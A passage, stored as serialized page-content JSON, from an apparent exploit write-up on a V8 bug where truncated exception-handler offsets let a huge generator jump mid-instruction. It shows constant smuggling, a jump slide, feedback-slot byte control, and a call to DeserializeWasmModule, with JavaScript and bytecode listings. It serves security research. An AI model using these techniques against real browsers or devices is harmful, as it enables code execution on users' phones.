style":5041},[134110],{"type":29,"value":92772},{"type":23,"tag":504,"props":134112,"children":134113},{"style":5047},[134114],{"type":29,"value":5050},{"type":23,"tag":504,"props":134116,"children":134117},{"style":5083},[134118],{"type":29,"value":9979},{"type":23,"tag":504,"props":134120,"children":134121},{"style":5058},[134122],{"type":29,"value":5061},{"type":23,"tag":504,"props":134124,"children":134125},{"class":5016,"line":5203},[134126],{"type":23,"tag":504,"props":134127,"children":134128},{"style":5058},[134129],{"type":29,"value":5965},{"type":23,"tag":4743,"props":134131,"children":134133},{"code":134132}," 0 : 1b ff f8          Mov \u003Ccontext>, r1\n # Start of try block\n # ---------------------------------\n 3 : 0d 01             LdaSmi [1]\n 5 : b1                Throw\n # ---------------------------------\n 6 : 10                LdaTheHole\n 7 : b0                SetPendingMessage\n # Start of catch handler\n 8 : 0d 02             LdaSmi [2]\n10 : ce                Star0\n11 : 0e                LdaUndefined\n12 : b3                Return\nHandler Table (size = 16)\n   from   to       hdlr (prediction,   data)\n  (   3,   6)  ->     6 (prediction=1, data=1)\n",[134134],{"type":23,"tag":154,"props":134135,"children":134136},{"__ignoreMap":7},[134137],{"type":29,"value":134132},{"type":23,"tag":32,"props":134139,"children":134140},{},[134141,134143,134148,134150,134155],{"type":29,"value":134142},"However, the ",{"type":23,"tag":154,"props":134144,"children":134146},{"className":134145},[],[134147],{"type":29,"value":134049},{"type":29,"value":134149}," offset is stored in a 28-bit bitfield. If the address of the ",{"type":23,"tag":154,"props":134151,"children":134153},{"className":134152},[],[134154],{"type":29,"value":50474},{"type":29,"value":134156}," block does not fit within 28 bits, it will be silently truncated. This will lead to a jump into a completely different part of the code - even in the middle of an instruction.",{"type":23,"tag":32,"props":134158,"children":134159},{},[134160,134162,134168],{"type":29,"value":134161},"One easy way to generate a large enough function, as suggested in the initial report, is to emit many ",{"type":23,"tag":154,"props":134163,"children":134165},{"className":134164},[],[134166],{"type":29,"value":134167},"yield*",{"type":29,"value":134169}," statements, as that drastically increases the size of the Ignition bytecode.",{"type":23,"tag":24,"props":134171,"children":134173},{"id":134172},"exploitation",[134174],{"type":29,"value":134175},"Exploitation",{"type":23,"tag":320,"props":134177,"children":134179},{"id":134178},"constant-smuggling",[134180],{"type":29,"value":134181},"Constant Smuggling",{"type":23,"tag":32,"props":134183,"children":134184},{},[134185,134187,134194],{"type":29,"value":134186},"Our initial approach to exploitation was inspired by the 'shellcode smuggling' ",{"type":23,"tag":68,"props":134188,"children":134191},{"href":134189,"rel":134190},"https://blog.exodusintel.com/2024/01/19/google-chrome-v8-cve-2024-0517-out-of-bounds-write-code-execution/",[72],[134192],{"type":29,"value":134193},"technique",{"type":29,"value":134195}," - when arbitrary read-write is achieved in browser exploits, we can often JIT compile a function like this:",{"type":23,"tag":4743,"props":134197,"children":134199},{"code":134198,"language":33420,"meta":7,"className":33418,"style":7},"let a = -9.255963134931783e61;\nlet b = -9.255963134931783e61;\nlet c = -9.255963134931783e61;\nlet d = -9.255963134931783e61;\n",[134200],{"type":23,"tag":154,"props":134201,"children":134202},{"__ignoreMap":7},[134203,134231,134258,134285],{"type":23,"tag":504,"props":134204,"children":134205},{"class":5016,"line":5017},[134206,134210,134214,134218,134222,134227],{"type":23,"tag":504,"props":134207,"children":134208},{"style":5030},[134209],{"type":29,"value":13833},{"type":23,"tag":504,"props":134211,"children":134212},{"style":5041},[134213],{"type":29,"value":91898},{"type":23,"tag":504,"props":134215,"children":134216},{"style":5047},[134217],{"type":29,"value":5050},{"type":23,"tag":504,"props":134219,"children":134220},{"style":5047},[134221],{"type":29,"value":53317},{"type":23,"tag":504,"props":134223,"children":134224},{"style":5083},[134225],{"type":29,"value":134226},"9.255963134931783e61",{"type":23,"tag":504,"props":134228,"children":134229},{"style":5058},[134230],{"type":29,"value":5061},{"type":23,"tag":504,"props":134232,"children":134233},{"class":5016,"line":4868},[134234,134238,134242,134246,134250,134254],{"type":23,"tag":504,"props":134235,"children":134236},{"style":5030},[134237],{"type":29,"value":13833},{"type":23,"tag":504,"props":134239,"children":134240},{"style":5041},[134241],{"type":29,"value":92772},{"type":23,"tag":504,"props":134243,"children":134244},{"style":5047},[134245],{"type":29,"value":5050},{"type":23,"tag":504,"props":134247,"children":134248},{"style":5047},[134249],{"type":29,"value":53317},{"type":23,"tag":504,"props":134251,"children":134252},{"style":5083},[134253],{"type":29,"value":134226},{"type":23,"tag":504,"props":134255,"children":134256},{"style":5058},[134257],{"type":29,"value":5061},{"type":23,"tag":504,"props":134259,"children":134260},{"class":5016,"line":4876},[134261,134265,134269,134273,134277,134281],{"type":23,"tag":504,"props":134262,"children":134263},{"style":5030},[134264],{"type":29,"value":13833},{"type":23,"tag":504,"props":134266,"children":134267},{"style":5041},[134268],{"type":29,"value":39502},{"type":23,"tag":504,"props":134270,"children":134271},{"style":5047},[134272],{"type":29,"value":5050},{"type":23,"tag":504,"props":134274,"children":134275},{"style":5047},[134276],{"type":29,"value":53317},{"type":23,"tag":504,"props":134278,"children":134279},{"style":5083},[134280],{"type":29,"value":134226},{"type":23,"tag":504,"props":134282,"children":134283},{"style":5058},[134284],{"type":29,"value":5061},{"type":23,"tag":504,"props":134286,"children":134287},{"class":5016,"line":5099},[134288,134292,134296,134300,134304,134308],{"type":23,"tag":504,"props":134289,"children":134290},{"style":5030},[134291],{"type":29,"value":13833},{"type":23,"tag":504,"props":134293,"children":134294},{"style":5041},[134295],{"type":29,"value":133994},{"type":23,"tag":504,"props":134297,"children":134298},{"style":5047},[134299],{"type":29,"value":5050},{"type":23,"tag":504,"props":134301,"children":134302},{"style":5047},[134303],{"type":29,"value":53317},{"type":23,"tag":504,"props":134305,"children":134306},{"style":5083},[134307],{"type":29,"value":134226},{"type":23,"tag":504,"props":134309,"children":134310},{"style":5058},[134311],{"type":29,"value":5061},{"type":23,"tag":32,"props":134313,"children":134314},{},[134315],{"type":29,"value":134316},"These floating-point constants will compile to 8-byte constants inside the machine code (the last 2 of which are used to jump into the next constant).",{"type":23,"tag":32,"props":134318,"children":134319},{},[134320],{"type":29,"value":134321},"We'll use a similar principle here, although much more limited. With",{"type":23,"tag":4743,"props":134323,"children":134325},{"code":134324},"let a = 0x0693bebe;\n",[134326],{"type":23,"tag":154,"props":134327,"children":134328},{"__ignoreMap":7},[134329],{"type":29,"value":134324},{"type":23,"tag":32,"props":134331,"children":134332},{},[134333],{"type":29,"value":134334},"We will compile the bytecode:",{"type":23,"tag":4743,"props":134336,"children":134338},{"code":134337},"01 0d be be 93 06 LdaSmi.ExtraWide\n",[134339],{"type":23,"tag":154,"props":134340,"children":134341},{"__ignoreMap":7},[134342],{"type":29,"value":134337},{"type":23,"tag":32,"props":134344,"children":134345},{},[134346,134348,134354,134356,134362,134363,134369],{"type":29,"value":134347},"We can then jump to the 3rd byte (",{"type":23,"tag":154,"props":134349,"children":134351},{"className":134350},[],[134352],{"type":29,"value":134353},"0xbe",{"type":29,"value":134355},"), and gain 2 controlled bytes of execution, followed by ",{"type":23,"tag":154,"props":134357,"children":134359},{"className":134358},[],[134360],{"type":29,"value":134361},"0x93 0x02 - 0xf",{"type":29,"value":5110},{"type":23,"tag":154,"props":134364,"children":134366},{"className":134365},[],[134367],{"type":29,"value":134368},"Jump +[2-15]",{"type":29,"value":134370},") to jump into the next constant.",{"type":23,"tag":32,"props":134372,"children":134373},{},[134374,134376,134382,134384,134390,134392,134398],{"type":29,"value":134375},"Note that the jump constant will change as the subsequent store instruction becomes longer due to storing to deeper registers. Storing to registers 1-15 resulted in simple one byte ",{"type":23,"tag":154,"props":134377,"children":134379},{"className":134378},[],[134380],{"type":29,"value":134381},"StarX",{"type":29,"value":134383}," instructions, registers 16-121 resulted in two bytes ",{"type":23,"tag":154,"props":134385,"children":134387},{"className":134386},[],[134388],{"type":29,"value":134389},"Star rX",{"type":29,"value":134391}," instructions, and the next batch resulted in 4 byte ",{"type":23,"tag":154,"props":134393,"children":134395},{"className":134394},[],[134396],{"type":29,"value":134397},"Star.ExtraWide rX",{"type":29,"value":134399}," instructions.",{"type":23,"tag":32,"props":134401,"children":134402},{},[134403,134405,134411],{"type":29,"value":134404},"With these short jumps, we can actually construct a massive jump slide of constants like ",{"type":23,"tag":154,"props":134406,"children":134408},{"className":134407},[],[134409],{"type":29,"value":134410},"0x8931111",{"type":29,"value":6533},{"type":23,"tag":4743,"props":134413,"children":134415},{"code":134414,"language":33420,"meta":7,"className":33418,"style":7},"let a206 = 0x8931111;\nlet a207 = 0x8931111;\nlet a208 = 0x8931111;\nlet a209 = 0x8931111;\nlet a210 = 0x8931111;\nlet a211 = 0x8931111;\nlet a212 = 0x8931111;\n",[134416],{"type":23,"tag":154,"props":134417,"children":134418},{"__ignoreMap":7},[134419,134444,134468,134492,134516,134540,134564],{"type":23,"tag":504,"props":134420,"children":134421},{"class":5016,"line":5017},[134422,134426,134431,134435,134440],{"type":23,"tag":504,"props":134423,"children":134424},{"style":5030},[134425],{"type":29,"value":13833},{"type":23,"tag":504,"props":134427,"children":134428},{"style":5041},[134429],{"type":29,"value":134430}," a206",{"type":23,"tag":504,"props":134432,"children":134433},{"style":5047},[134434],{"type":29,"value":5050},{"type":23,"tag":504,"props":134436,"children":134437},{"style":5083},[134438],{"type":29,"value":134439}," 0x8931111",{"type":23,"tag":504,"props":134441,"children":134442},{"style":5058},[134443],{"type":29,"value":5061},{"type":23,"tag":504,"props":134445,"children":134446},{"class":5016,"line":4868},[134447,134451,134456,134460,134464],{"type":23,"tag":504,"props":134448,"children":134449},{"style":5030},[134450],{"type":29,"value":13833},{"type":23,"tag":504,"props":134452,"children":134453},{"style":5041},[134454],{"type":29,"value":134455}," a207",{"type":23,"tag":504,"props":134457,"children":134458},{"style":5047},[134459],{"type":29,"value":5050},{"type":23,"tag":504,"props":134461,"children":134462},{"style":5083},[134463],{"type":29,"value":134439},{"type":23,"tag":504,"props":134465,"children":134466},{"style":5058},[134467],{"type":29,"value":5061},{"type":23,"tag":504,"props":134469,"children":134470},{"class":5016,"line":4876},[134471,134475,134480,134484,134488],{"type":23,"tag":504,"props":134472,"children":134473},{"style":5030},[134474],{"type":29,"value":13833},{"type":23,"tag":504,"props":134476,"children":134477},{"style":5041},[134478],{"type":29,"value":134479}," a208",{"type":23,"tag":504,"props":134481,"children":134482},{"style":5047},[134483],{"type":29,"value":5050},{"type":23,"tag":504,"props":134485,"children":134486},{"style":5083},[134487],{"type":29,"value":134439},{"type":23,"tag":504,"props":134489,"children":134490},{"style":5058},[134491],{"type":29,"value":5061},{"type":23,"tag":504,"props":134493,"children":134494},{"class":5016,"line":5099},[134495,134499,134504,134508,134512],{"type":23,"tag":504,"props":134496,"children":134497},{"style":5030},[134498],{"type":29,"value":13833},{"type":23,"tag":504,"props":134500,"children":134501},{"style":5041},[134502],{"type":29,"value":134503}," a209",{"type":23,"tag":504,"props":134505,"children":134506},{"style":5047},[134507],{"type":29,"value":5050},{"type":23,"tag":504,"props":134509,"children":134510},{"style":5083},[134511],{"type":29,"value":134439},{"type":23,"tag":504,"props":134513,"children":134514},{"style":5058},[134515],{"type":29,"value":5061},{"type":23,"tag":504,"props":134517,"children":134518},{"class":5016,"line":5203},[134519,134523,134528,134532,134536],{"type":23,"tag":504,"props":134520,"children":134521},{"style":5030},[134522],{"type":29,"value":13833},{"type":23,"tag":504,"props":134524,"children":134525},{"style":5041},[134526],{"type":29,"value":134527}," a210",{"type":23,"tag":504,"props":134529,"children":134530},{"style":5047},[134531],{"type":29,"value":5050},{"type":23,"tag":504,"props":134533,"children":134534},{"style":5083},[134535],{"type":29,"value":134439},{"type":23,"tag":504,"props":134537,"children":134538},{"style":5058},[134539],{"type":29,"value":5061},{"type":23,"tag":504,"props":134541,"children":134542},{"class":5016,"line":5308},[134543,134547,134552,134556,134560],{"type":23,"tag":504,"props":134544,"children":134545},{"style":5030},[134546],{"type":29,"value":13833},{"type":23,"tag":504,"props":134548,"children":134549},{"style":5041},[134550],{"type":29,"value":134551}," a211",{"type":23,"tag":504,"props":134553,"children":134554},{"style":5047},[134555],{"type":29,"value":5050},{"type":23,"tag":504,"props":134557,"children":134558},{"style":5083},[134559],{"type":29,"value":134439},{"type":23,"tag":504,"props":134561,"children":134562},{"style":5058},[134563],{"type":29,"value":5061},{"type":23,"tag":504,"props":134565,"children":134566},{"class":5016,"line":5336},[134567,134571,134576,134580,134584],{"type":23,"tag":504,"props":134568,"children":134569},{"style":5030},[134570],{"type":29,"value":13833},{"type":23,"tag":504,"props":134572,"children":134573},{"style":5041},[134574],{"type":29,"value":134575}," a212",{"type":23,"tag":504,"props":134577,"children":134578},{"style":5047},[134579],{"type":29,"value":5050},{"type":23,"tag":504,"props":134581,"children":134582},{"style":5083},[134583],{"type":29,"value":134439},{"type":23,"tag":504,"props":134585,"children":134586},{"style":5058},[134587],{"type":29,"value":5061},{"type":23,"tag":32,"props":134589,"children":134590},{},[134591],{"type":29,"value":134592},"Those instructions result in:",{"type":23,"tag":4743,"props":134594,"children":134596},{"code":134595},"00: LdaTrue;\n01: LdaTrue;\n02: Jump +8;  >------------+\n04: Star rX + LdaSmi ...   |\nv--------------------------+\n0a: LdaTrue;\n0b: LdaTrue;\n",[134597],{"type":23,"tag":154,"props":134598,"children":134599},{"__ignoreMap":7},[134600],{"type":29,"value":134595},{"type":23,"tag":32,"props":134602,"children":134603},{},[134604,134606,134612,134614,134618],{"type":29,"value":134605},"(The offset of ",{"type":23,"tag":154,"props":134607,"children":134609},{"className":134608},[],[134610],{"type":29,"value":134611},"Jump",{"type":29,"value":134613}," instructions is added to the ",{"type":23,"tag":4321,"props":134615,"children":134616},{},[134617],{"type":29,"value":73154},{"type":29,"value":134619}," of the instruction.)",{"type":23,"tag":32,"props":134621,"children":134622},{},[134623,134625,134631],{"type":29,"value":134624},"Now, 3 out of the 6 bytes in a ",{"type":23,"tag":154,"props":134626,"children":134628},{"className":134627},[],[134629],{"type":29,"value":134630},"LdaSmi.ExtraWide",{"type":29,"value":134632}," instruction are valid for merging into the smuggled arbitrary Ignition bytecode. This slide made exploit development a lot easier, as any additional code would cause the exception table to have new offsets.",{"type":23,"tag":320,"props":134634,"children":134636},{"id":134635},"exploit-goal",[134637],{"type":29,"value":134638},"Exploit Goal",{"type":23,"tag":32,"props":134640,"children":134641},{},[134642,134644,134650,134651,134657],{"type":29,"value":134643},"Initially we considered using ",{"type":23,"tag":154,"props":134645,"children":134647},{"className":134646},[],[134648],{"type":29,"value":134649},"Star",{"type":29,"value":6623},{"type":23,"tag":154,"props":134652,"children":134654},{"className":134653},[],[134655],{"type":29,"value":134656},"Ldar",{"type":29,"value":134658}," instructions to store to out-of-bounds register indexes, as registers are stored on the regular stack. However, with only 2 bytes we can only access +/- 0x7f registers, which does not allow us to go out of bounds enough to access interesting values.",{"type":23,"tag":32,"props":134660,"children":134661},{},[134662,134664,134671],{"type":29,"value":134663},"We realized that register offsets 0 and 1 contain the saved frame pointer and return address respectively. We considered using this to ",{"type":23,"tag":68,"props":134665,"children":134668},{"href":134666,"rel":134667},"https://github.com/google/google-ctf/tree/main/2023/quals/sandbox-v8box/solution",[72],[134669],{"type":29,"value":134670},"stack pivot and ROP",{"type":29,"value":134672},". However, there were numerous downsides - primarily, we would need multiple leaks of binary addresses and the JS heap (to construct a buffer with a fake stack frame).",{"type":23,"tag":32,"props":134674,"children":134675},{},[134676],{"type":29,"value":134677},"Additionally, the interpreter expects all values to be tagged V8 values (i.e. 32-bit compressed pointers or Smis). This means that operating on 64-bit addresses can cause surprising truncations or 'untagging' extensions.",{"type":23,"tag":32,"props":134679,"children":134680},{},[134681],{"type":29,"value":134682},"Finally, ROP/stack pivoting-based approaches would cause significant work when porting from our x86_64 development machines to the aarch64 target device, and might not even be feasible given the existence of PAC and BTI on the Galaxy S25.",{"type":23,"tag":32,"props":134684,"children":134685},{},[134686,134688,134694,134696,134702,134704,134710],{"type":29,"value":134687},"At this point, we identified an interesting opcode: ",{"type":23,"tag":154,"props":134689,"children":134691},{"className":134690},[],[134692],{"type":29,"value":134693},"CallRuntime",{"type":29,"value":134695},". Runtime functions are used to implement a lot of core V8 functionality, and are native functions exposed to bytecode (but not to the user, unless ",{"type":23,"tag":154,"props":134697,"children":134699},{"className":134698},[],[134700],{"type":29,"value":134701},"--allow-natives-syntax",{"type":29,"value":134703}," is enabled). Many of these allow powerful functionality as inputs are assumed to be trusted, but one stands out: ",{"type":23,"tag":154,"props":134705,"children":134707},{"className":134706},[],[134708],{"type":29,"value":134709},"DeserializeWasmModule",{"type":29,"value":357},{"type":23,"tag":32,"props":134712,"children":134713},{},[134714,134716,134723,134724,134729,134730,134736,134738,134745],{"type":29,"value":134715},"WebAssembly modules may be internally serialized and deserialized by the runtime - this serialization format includes raw machine code for any ",{"type":23,"tag":68,"props":134717,"children":134720},{"href":134718,"rel":134719},"https://gist.github.com/Riatre/83d5fdb970946c8e185c5e1b2b842b1b",[72],[134721],{"type":29,"value":134722},"JIT-compiled functions",{"type":29,"value":20582},{"type":23,"tag":154,"props":134725,"children":134727},{"className":134726},[],[134728],{"type":29,"value":134709},{"type":29,"value":6623},{"type":23,"tag":154,"props":134731,"children":134733},{"className":134732},[],[134734],{"type":29,"value":134735},"SerializeWasmModule",{"type":29,"value":134737}," themselves are only used from test functions, and indeed have been ",{"type":23,"tag":68,"props":134739,"children":134742},{"href":134740,"rel":134741},"https://chromium-review.googlesource.com/c/v8/v8/+/6875821",[72],[134743],{"type":29,"value":134744},"removed",{"type":29,"value":134746}," from recent production V8 builds due to how abusable this functionality is.",{"type":23,"tag":32,"props":134748,"children":134749},{},[134750,134752,134758,134760,134766,134768,134773,134775,134781,134783,134788,134789,134794,134795,134800,134802,134808,134810,134814],{"type":29,"value":134751},"However, calling this opcode represented a significant challenge:\n",{"type":23,"tag":154,"props":134753,"children":134755},{"className":134754},[],[134756],{"type":29,"value":134757},"CallRuntime \u003Cfunc-id> \u003Cargs> \u003Cargc>",{"type":29,"value":134759},"\nWhere ",{"type":23,"tag":154,"props":134761,"children":134763},{"className":134762},[],[134764],{"type":29,"value":134765},"func-id",{"type":29,"value":134767}," is a 2-byte function ID, ",{"type":23,"tag":154,"props":134769,"children":134771},{"className":134770},[],[134772],{"type":29,"value":40284},{"type":29,"value":134774}," is the index of the last register passed and ",{"type":23,"tag":154,"props":134776,"children":134778},{"className":134777},[],[134779],{"type":29,"value":134780},"argc",{"type":29,"value":134782}," is the number of arguments passed (e.g. passing ",{"type":23,"tag":154,"props":134784,"children":134786},{"className":134785},[],[134787],{"type":29,"value":46442},{"type":29,"value":4367},{"type":23,"tag":154,"props":134790,"children":134792},{"className":134791},[],[134793],{"type":29,"value":46585},{"type":29,"value":4478},{"type":23,"tag":154,"props":134796,"children":134798},{"className":134797},[],[134799],{"type":29,"value":46568},{"type":29,"value":134801}," would be encoded as ",{"type":23,"tag":154,"props":134803,"children":134805},{"className":134804},[],[134806],{"type":29,"value":134807},"\u003Cr2> \u003C3>",{"type":29,"value":134809},").\nThis requires ",{"type":23,"tag":4321,"props":134811,"children":134812},{},[134813],{"type":29,"value":20158},{"type":29,"value":134815}," bytes of control - additionally, we must then store the accumulator safely into a register, then return the value back to JS code.",{"type":23,"tag":320,"props":134817,"children":134819},{"id":134818},"better-bytecode-control",[134820],{"type":29,"value":134821},"Better Bytecode Control",{"type":23,"tag":32,"props":134823,"children":134824},{},[134825,134827,134834,134836,134842],{"type":29,"value":134826},"Luckily, arithmetic instructions in Ignition have a feature known as the '",{"type":23,"tag":68,"props":134828,"children":134831},{"href":134829,"rel":134830},"https://benediktmeurer.de/2017/12/13/an-introduction-to-speculative-optimization-in-v8/",[72],[134832],{"type":29,"value":134833},"feedback vector slot",{"type":29,"value":134835},"', where it stores profiling information for subsequent optimizations by Turbofan. Observationally, for the ",{"type":23,"tag":154,"props":134837,"children":134839},{"className":134838},[],[134840],{"type":29,"value":134841},"AddSmi",{"type":29,"value":134843}," instruction, it represents the number of operations performed on the target value so far.",{"type":23,"tag":32,"props":134845,"children":134846},{},[134847],{"type":29,"value":134848},"For example, we can look at the below Ignition disassembly:",{"type":23,"tag":4743,"props":134850,"children":134852},{"code":134851},"2000 : 01 0d 11 11 93 0e LdaSmi.ExtraWide [244519185]\n2006 : cd                Star1\n2007 : 00 1b ff ff 1d ff Mov.Wide \u003Ccontext>, r220\n2013 : 0b f8             Ldar r1\n2015 : 01 4b 11 11 93 0a 01 00 00 00 AddSmi.ExtraWide [177410321], [1]\n2025 : 0b f8             Ldar r1\n2027 : 01 4b 11 11 93 0a 02 00 00 00 AddSmi.ExtraWide [177410321], [2]\n2037 : 0b f8             Ldar r1\n2039 : 01 4b 11 11 93 0a 03 00 00 00 AddSmi.ExtraWide [177410321], [3]\n2049 : 0b f8             Ldar r1\n2051 : 01 4b 11 11 93 0a 04 00 00 00 AddSmi.ExtraWide [177410321], [4]\n2061 : 0b f8             Ldar r1\n2063 : 01 4b 11 11 93 0a 05 00 00 00 AddSmi.ExtraWide [177410321], [5]\n",[134853],{"type":23,"tag":154,"props":134854,"children":134855},{"__ignoreMap":7},[134856],{"type":29,"value":134851},{"type":23,"tag":32,"props":134858,"children":134859},{},[134860,134862,134868],{"type":29,"value":134861},"We can see the feedback vector slot increments for every operation. This means that with a smuggled jump slide through ",{"type":23,"tag":154,"props":134863,"children":134865},{"className":134864},[],[134866],{"type":29,"value":134867},"AddSmi.ExtraWide",{"type":29,"value":134869},", we can control almost 8 bytes (because of the SMI constraint) given enough addition instructions.",{"type":23,"tag":32,"props":134871,"children":134872},{},[134873],{"type":29,"value":134874},"Eventually, we can reach a stage like this:",{"type":23,"tag":4743,"props":134876,"children":134878},{"code":134877},"4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n",[134879],{"type":23,"tag":154,"props":134880,"children":134881},{"__ignoreMap":7},[134882],{"type":29,"value":134877},{"type":23,"tag":32,"props":134884,"children":134885},{},[134886],{"type":29,"value":134887},"If you skip the first two bytes, you have",{"type":23,"tag":1022,"props":134889,"children":134890},{},[134891,134922],{"type":23,"tag":143,"props":134892,"children":134893},{},[134894,134899,134901,134906,134908,134914,134916],{"type":23,"tag":154,"props":134895,"children":134897},{"className":134896},[],[134898],{"type":29,"value":134693},{"type":29,"value":134900}," (0x6c) to ",{"type":23,"tag":154,"props":134902,"children":134904},{"className":134903},[],[134905],{"type":29,"value":134709},{"type":29,"value":134907}," (0x0266) starting from register ",{"type":23,"tag":154,"props":134909,"children":134911},{"className":134910},[],[134912],{"type":29,"value":134913},"a2",{"type":29,"value":134915}," (0x4) with 2 arguments (0x2). This becomes the call: ",{"type":23,"tag":154,"props":134917,"children":134919},{"className":134918},[],[134920],{"type":29,"value":134921},"DeserializeWasmModule(a2, a1)",{"type":23,"tag":143,"props":134923,"children":134924},{},[134925],{"type":29,"value":134926},"a Jump instruction",{"type":23,"tag":320,"props":134928,"children":134930},{"id":134929},"returning-back-to-js",[134931],{"type":29,"value":134932},"Returning Back to JS",{"type":23,"tag":32,"props":134934,"children":134935},{},[134936,134938,134944],{"type":29,"value":134937},"After that call, the result is stored in the accumulator. Since this function is an async generator, we have to ",{"type":23,"tag":154,"props":134939,"children":134941},{"className":134940},[],[134942],{"type":29,"value":134943},"yield",{"type":29,"value":134945}," the result, but that results in a long series of instructions that we can't possibly smuggle.",{"type":23,"tag":32,"props":134947,"children":134948},{},[134949],{"type":29,"value":134950},"The solution here is simple: we use the smuggled control flow to merge back into the normal control flow, that leads us into a yield from the original JS. For example, in our exploit, all the additions were done in a try block:",{"type":23,"tag":4743,"props":134952,"children":134954},{"code":134953,"language":33420,"meta":7,"className":33418,"style":7},"try {\n  ${'a1 + 0xa931111;'.repeat(0x059302 - 1)}\n  a1 + 0x0402666c;\n  throw 0x393e91a;\n} catch (e) {\n  console.log(\"foo\");\n  yield a16;\n}\n",[134955],{"type":23,"tag":154,"props":134956,"children":134957},{"__ignoreMap":7},[134958,134969,135017,135038,135054,135077,135105,135122],{"type":23,"tag":504,"props":134959,"children":134960},{"class":5016,"line":5017},[134961,134965],{"type":23,"tag":504,"props":134962,"children":134963},{"style":5067},[134964],{"type":29,"value":50394},{"type":23,"tag":504,"props":134966,"children":134967},{"style":5058},[134968],{"type":29,"value":5333},{"type":23,"tag":504,"props":134970,"children":134971},{"class":5016,"line":4868},[134972,134977,134981,134986,134990,134995,134999,135004,135008,135012],{"type":23,"tag":504,"props":134973,"children":134974},{"style":5041},[134975],{"type":29,"value":134976},"  $",{"type":23,"tag":504,"props":134978,"children":134979},{"style":5058},[134980],{"type":29,"value":78683},{"type":23,"tag":504,"props":134982,"children":134983},{"style":6297},[134984],{"type":29,"value":134985},"'a1 + 0xa931111;'",{"type":23,"tag":504,"props":134987,"children":134988},{"style":5058},[134989],{"type":29,"value":357},{"type":23,"tag":504,"props":134991,"children":134992},{"style":5139},[134993],{"type":29,"value":134994},"repeat",{"type":23,"tag":504,"props":134996,"children":134997},{"style":5058},[134998],{"type":29,"value":603},{"type":23,"tag":504,"props":135000,"children":135001},{"style":5083},[135002],{"type":29,"value":135003},"0x059302",{"type":23,"tag":504,"props":135005,"children":135006},{"style":5047},[135007],{"type":29,"value":53317},{"type":23,"tag":504,"props":135009,"children":135010},{"style":5083},[135011],{"type":29,"value":6565},{"type":23,"tag":504,"props":135013,"children":135014},{"style":5058},[135015],{"type":29,"value":135016},")}\n",{"type":23,"tag":504,"props":135018,"children":135019},{"class":5016,"line":4876},[135020,135025,135029,135034],{"type":23,"tag":504,"props":135021,"children":135022},{"style":5041},[135023],{"type":29,"value":135024},"  a1",{"type":23,"tag":504,"props":135026,"children":135027},{"style":5047},[135028],{"type":29,"value":10950},{"type":23,"tag":504,"props":135030,"children":135031},{"style":5083},[135032],{"type":29,"value":135033}," 0x0402666c",{"type":23,"tag":504,"props":135035,"children":135036},{"style":5058},[135037],{"type":29,"value":5061},{"type":23,"tag":504,"props":135039,"children":135040},{"class":5016,"line":5099},[135041,135045,135050],{"type":23,"tag":504,"props":135042,"children":135043},{"style":5067},[135044],{"type":29,"value":37258},{"type":23,"tag":504,"props":135046,"children":135047},{"style":5083},[135048],{"type":29,"value":135049}," 0x393e91a",{"type":23,"tag":504,"props":135051,"children":135052},{"style":5058},[135053],{"type":29,"value":5061},{"type":23,"tag":504,"props":135055,"children":135056},{"class":5016,"line":5203},[135057,135061,135065,135069,135073],{"type":23,"tag":504,"props":135058,"children":135059},{"style":5058},[135060],{"type":29,"value":48936},{"type":23,"tag":504,"props":135062,"children":135063},{"style":5067},[135064],{"type":29,"value":50474},{"type":23,"tag":504,"props":135066,"children":135067},{"style":5058},[135068],{"type":29,"value":5110},{"type":23,"tag":504,"props":135070,"children":135071},{"style":5041},[135072],{"type":29,"value":1132},{"type":23,"tag":504,"props":135074,"children":135075},{"style":5058},[135076],{"type":29,"value":16850},{"type":23,"tag":504,"props":135078,"children":135079},{"class":5016,"line":5308},[135080,135084,135088,135092,135096,135101],{"type":23,"tag":504,"props":135081,"children":135082},{"style":5041},[135083],{"type":29,"value":103723},{"type":23,"tag":504,"props":135085,"children":135086},{"style":5058},[135087],{"type":29,"value":357},{"type":23,"tag":504,"props":135089,"children":135090},{"style":5139},[135091],{"type":29,"value":103732},{"type":23,"tag":504,"props":135093,"children":135094},{"style":5058},[135095],{"type":29,"value":603},{"type":23,"tag":504,"props":135097,"children":135098},{"style":6297},[135099],{"type":29,"value":135100},"\"foo\"",{"type":23,"tag":504,"props":135102,"children":135103},{"style":5058},[135104],{"type":29,"value":5888},{"type":23,"tag":504,"props":135106,"children":135107},{"class":5016,"line":5336},[135108,135113,135118],{"type":23,"tag":504,"props":135109,"children":135110},{"style":5067},[135111],{"type":29,"value":135112},"  yield",{"type":23,"tag":504,"props":135114,"children":135115},{"style":5041},[135116],{"type":29,"value":135117}," a16",{"type":23,"tag":504,"props":135119,"children":135120},{"style":5058},[135121],{"type":29,"value":5061},{"type":23,"tag":504,"props":135123,"children":135124},{"class":5016,"line":5349},[135125],{"type":23,"tag":504,"props":135126,"children":135127},{"style":5058},[135128],{"type":29,"value":5965},{"type":23,"tag":32,"props":135130,"children":135131},{},[135132,135134],{"type":29,"value":135133},"Starting from the final ",{"type":23,"tag":154,"props":135135,"children":135137},{"className":135136},[],[135138],{"type":29,"value":134841},{"type":23,"tag":4743,"props":135140,"children":135142},{"code":135141}," 4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n 4385784 : 01 0d 1a e9 93 03 LdaSmi.ExtraWide [60025114]\n 4385790 : b1                Throw\n 4385791 : 00 1a 1a ff       Star.Wide r223\n",[135143],{"type":23,"tag":154,"props":135144,"children":135145},{"__ignoreMap":7},[135146],{"type":29,"value":135141},{"type":23,"tag":32,"props":135148,"children":135149},{},[135150,135152,135157,135159,135165],{"type":29,"value":135151},"The smuggled jump in ",{"type":23,"tag":154,"props":135153,"children":135155},{"className":135154},[],[135156],{"type":29,"value":134841},{"type":29,"value":135158}," will redirect us to ",{"type":23,"tag":154,"props":135160,"children":135162},{"className":135161},[],[135163],{"type":29,"value":135164},"1a e9 93 03",{"type":29,"value":135166},", which results in:",{"type":23,"tag":1022,"props":135168,"children":135169},{},[135170,135181],{"type":23,"tag":143,"props":135171,"children":135172},{},[135173,135179],{"type":23,"tag":154,"props":135174,"children":135176},{"className":135175},[],[135177],{"type":29,"value":135178},"Star r16",{"type":29,"value":135180}," (store accumulator to r16)",{"type":23,"tag":143,"props":135182,"children":135183},{},[135184,135189],{"type":23,"tag":154,"props":135185,"children":135187},{"className":135186},[],[135188],{"type":29,"value":134611},{"type":29,"value":135190}," past the throw into the catch relevant 